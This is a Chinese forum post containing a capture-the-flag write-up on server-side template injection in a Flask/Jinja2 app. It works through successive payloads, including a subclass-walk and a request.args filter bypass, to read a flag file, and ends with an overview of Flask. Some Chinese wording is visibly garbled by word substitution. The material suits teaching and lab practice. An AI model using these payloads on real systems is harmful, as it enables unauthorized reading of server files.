论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
应用中心
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
qidao123.com技术社区-IT企服评测·应用市场
»
论坛
›
主机系统
›
linux
›
3.攻防天下 Confusion1(服务器模板注入SSTI) ...
3.攻防天下 Confusion1(服务器模板注入SSTI)
风雨同行
论坛元老
|
2025-3-2 22:34:34
|
显示全部楼层
|
阅读模式
楼主
主题
1658
|
帖子
1658
|
积分
4974
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
标题描述如下
进入标题页面如下
图片是蟒蛇、大象?python、php?
猜测需要代码审计
点击
F12查看源码,有所提示flag
但是也没有其他信息了
猜测本题存在SSTI(服务器模板注入)毛病,为验证,构造payload
/login.php/{ {1+2}}
页面返回3,输入的1+2执行了
所以服务器也执行了{ {}}里的内容,故存在SSTI毛病
SSTI(服务器模板注入)毛病
根本概念
在 Web 应用开发中,为实现动态页面的天生,常常会使用模板引擎。模板引擎将模板文件和动态数据相结合,天生最终的 HTML 页面返回给用户。而当应用步调在处置惩罚用户输入时,未对其进行严格的过滤和验证,直接将用户输入嵌入到模板中进行渲染,就可能导致服务器模板注入毛病
产生原因
在吸收用户输入时,没有对输入内容进行严格的检查和过滤,直接将其转达给模板引擎进行处置惩罚。在一个使用 Flask 框架的应用中,直接将用户输入的参数拼接到模板字符串中,没有做任何过滤,就可能引发 SSTI 毛病
模板引擎的设置不当也可能导致毛病。有些模板引擎在默认环境下可能答应执行某些危险的操作
攻击原理
通过构造特别的输入,让模板引擎将其剖析为恶意的模板指令并执行。不同的模板引擎有不同的语法,这就需要相识目的应用所使用的模板引擎,然后使用相应的语法进行攻击。
检测方法
手动测试
:通过构造一些简单的测试用例,如数学表达式({ { 1+1 }})、函数调用等,观察页面的相应。如果页面返回了表达式的计算效果,那么很可能存在 SSTI 毛病。
工具
:使用一些安全测试工具,如 Burp Suite、Nmap 等,这些工具可以资助快速发现潜伏的 SSTI 毛病。在 Burp Suite 的 Intruder 模块中,可以设置不同的有用负载对目的应用进行测试。
测试是Jinja2模板
Jinja2 是 Python 中常用的模板引擎
原理
Jinja2 答应在模板中使用 Python 表达式,我们可以使用其内置的对象和函数来实现文件读取
读取文件
:使用 Python 的 open 函数来读取文件,构造payload如下
http://61.147.171.105:56370/login.php/{
{ open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}
复制代码
传参,报错了,看来是有过滤
再次构造
使用 getattr 函数
getattr 函数可以动态获取对象的属性或方法
http://61.147.171.105:56370/login.php/{
{ ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}
复制代码
也过滤了qyq
试试逐字符拼接函数名
http://61.147.171.105:56370/login.php/{
{ ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}
复制代码
还是不可,再试试request函数
构造payload
http://61.147.171.105:56370/login.php/{
{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
复制代码
以一个空字符串 '' 作为起始对象,由于在 Python 中,所有对象都继续自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构
''.__class__:获取空字符串对象的类,即 str 类。
__mro__:是 Python 类的一个属性,它表示方法剖析顺序(Method Resolution Order),是一个包含类层次结构的元组。
[2]:通过索引 2 可以从 str 类的 __mro__ 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表
__subclasses__() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表
索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)大概 file 类(在 Python 2 中),这个类可以用于文件的读写操作
调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件
.read():调用打开文件对象的 read 方法,读取文件的全部内容
终于得到flag
Flask 框架
Flask 是一个轻量级的 Python Web 框架,也被称为 “微框架”,它为开发者提供了创建 Web 应用的根本工具和功能,易于上手和扩展
特点
轻量级
:Flask 核心简单且小巧,仅包含了 Web 应用的根本功能,如路由、哀求处置惩罚、相应返回等,不逼迫开发者使用特定的数据库、模板引擎或其他组件,给予开发者很大的自由度来选择合适的工具和库。
可扩展性强
:由于其轻量级的特性,Flask 很容易与其他第三方库集成,如数据库操作库(SQLAlchemy、Peewee 等)、表单处置惩罚库(WTForms)、认证库(Flask - Login)等,开发者可以根据项目需求机动扩展功能。
易于上手
:Flask 的文档清楚简洁,代码结构简单易懂,对于初学者来说,能够快速明确和掌握其根本概念和使用方法,快速搭建起一个简单的 Web 应用。
基于 Werkzeug 和 Jinja2
:Flask 基于 Werkzeug WSGI 工具包和 Jinja2 模板引擎构建。Werkzeug 提供了哀求和相应处置惩罚、路由匹配等功能,Jinja2 则用于模板渲染,方便开发者天生动态 HTML 页面。
重要组件
路由体系
:Flask 使用装饰器来界说路由,答应开发者将 URL 路径映射到对应的视图函数。
哀求和相应
:Flask 提供了request对象来处置惩罚客户端的哀求信息,如获取哀求参数、哀求方法等;使用Response对象来返反相应给客户端。
模板引擎
:Flask 默认使用 Jinja2 模板引擎,答应开发者将动态数据与 HTML 模板结合天生动态页面。
应用场景
快速原型开发
:由于 Flask 易于上手和快速搭建,适合在项目初期进行快速原型开发,验证项目的可行性和功能需求。
小型 Web 应用
:对于一些功能简单、规模较小的 Web 应用,如个人博客、小型企业网站等,Flask 的轻量级特性可以满足需求,而且易于维护。
API 开发
:Flask 可以方便地创建 RESTful API,结合 JSON 数据格式,为前端应用或其他服务提供数据接口
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
风雨同行
论坛元老
这个人很懒什么都没写!
楼主热帖
深入Python网络编程:从基础到实践 ...
MySQL锁(乐观锁、悲观锁、多粒度锁) ...
中职网络安全技能大赛SSH弱口令渗透测 ...
阿里云体验有奖:如何将 PolarDB-X 与 ...
四、MySQL之数据查询语言(二) ...
HTML+CSS+JS——动漫风二次元论坛(2页) ...
超融合和传统 “VMware + FC SAN& ...
转载自ChatGPT:Python关键字 asynico ...
01.初识Python
ClickHouse(02)ClickHouse架构设计介绍 ...
标签云
国产数据库
集成商
AI
运维
CIO
存储
服务器
浏览过的版块
人工智能
向量数据库
快速回复
返回顶部
返回列表